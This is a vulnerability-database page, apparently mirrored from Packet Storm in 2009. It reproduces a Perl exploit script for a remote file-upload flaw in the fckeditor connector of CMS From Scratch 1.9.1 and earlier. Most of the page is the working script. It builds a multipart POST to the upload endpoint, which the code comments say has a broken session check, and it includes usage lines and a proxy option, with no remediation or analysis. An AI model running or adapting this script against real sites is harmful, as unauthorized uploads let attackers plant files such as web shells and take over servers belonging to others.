Lucene search
K

CMS From Scratch 1.9.1 File Upload

🗓️ 03 Feb 2009 00:00:00Reported by StAkeRType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 34 Views

CMS From Scratch 1.9.1 File Upload vulnerability in fckeditor edito

Code
`#!/usr/bin/perl   
# ----------------------------------------------------------------  
# CMS from Scratch <= 1.9.1 (fckeditor) Remote File Upload Exploit  
# by yeat - staker[at]hotmail[dot]it  
# http://scratchwebdesignforums.com/forums/index.php?showtopic=629  
# ----------------------------------------------------------------  
# (fckeditor/editor/filemanager/connectors/php/config.php)  
# 25. global $Config ;  
# 26.  
# 27. $Config['Enabled'] = (isset($_SESSION['loginStatus']) ||   
# $_SESSION == NULL) ? true : false ;   
# ...  
# 39. $Config['UserFilesAbsolutePath'] =   
# realpath($_SERVER['DOCUMENT_ROOT']);  
# ----------------------------------------------------------------  
  
use Getopt::Std;  
use LWP::UserAgent;  
  
getopts('p:',\my %opts);  
  
my $http = new LWP::UserAgent;  
my ($host,$file) = @ARGV;  
  
  
Main::RunExploit();  
  
  
# Main Package  
  
package Main;  
  
  
sub Usage {  
  
return print <<EOF;  
+------------------------------------------------------------------+  
| CMS from Scratch <= 1.9.1 (fckeditor) Remote File Upload Exploit |  
+------------------------------------------------------------------+  
by yeat - staker[at]hotmail[dot]it  
  
Usage: perl xpl.pl host/path file [OPTIONS]  
host: target host and cms path  
file: file to upload  
  
Options:  
  
-p [specify a proxy] [server]:[port]  
  
Example:   
perl xpl.pl localhost/cms yeat.jpg  
perl xpl.pl localhost/cms yeat.jpg -p 213.151.89.109:80  
  
EOF  
  
}  
  
  
sub RunExploit   
{   
if (defined $opts{p}) {  
HTTP::Proxy($opts{p});  
}  
  
if (@ARGV < 2 || @ARGV > 4) {  
Main::Usage();  
}  
else {   
FileUpload::Exploit($file);  
}   
}  
  
  
  
# File Upload Package  
  
package FileUpload;  
  
sub Exploit   
{  
my $file = shift;  
my $path = "/fckeditor/editor/filemanager/connectors/php/upload.php?Type=File";  
  
  
my $data = { NewFile => [$file,$file] };  
  
my $send = $http->post('http://'.$host.$path,  
$data,  
Content_Type => 'multipart/form-data',  
);  
  
if ($send->is_success) {  
print $send->content;  
exit;   
}  
else {  
print "Exploit Failed!\n";  
exit;  
}   
}   
  
  
  
  
# HTTP Package  
  
package HTTP;  
  
  
sub Cookies   
{  
return $http->default_header('Cookie' => $_[0]);  
}  
  
  
sub UserAgent   
{  
return $http->agent($_[0]);  
}   
  
  
sub GET   
{   
if ($_[0] !~ m{^http://(.+?)$}i) {  
return $http->get('http://'.$_[0]);  
}   
else {  
return $http->get($_[0]);  
}   
}  
  
  
sub http_header   
{  
return $http->default_header($_[0]);  
}   
  
  
sub Proxy   
{  
return $http->proxy('http', 'http://'.$_[0]);   
}   
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2009 00:00Current
7.4High risk
Vulners AI Score7.4
34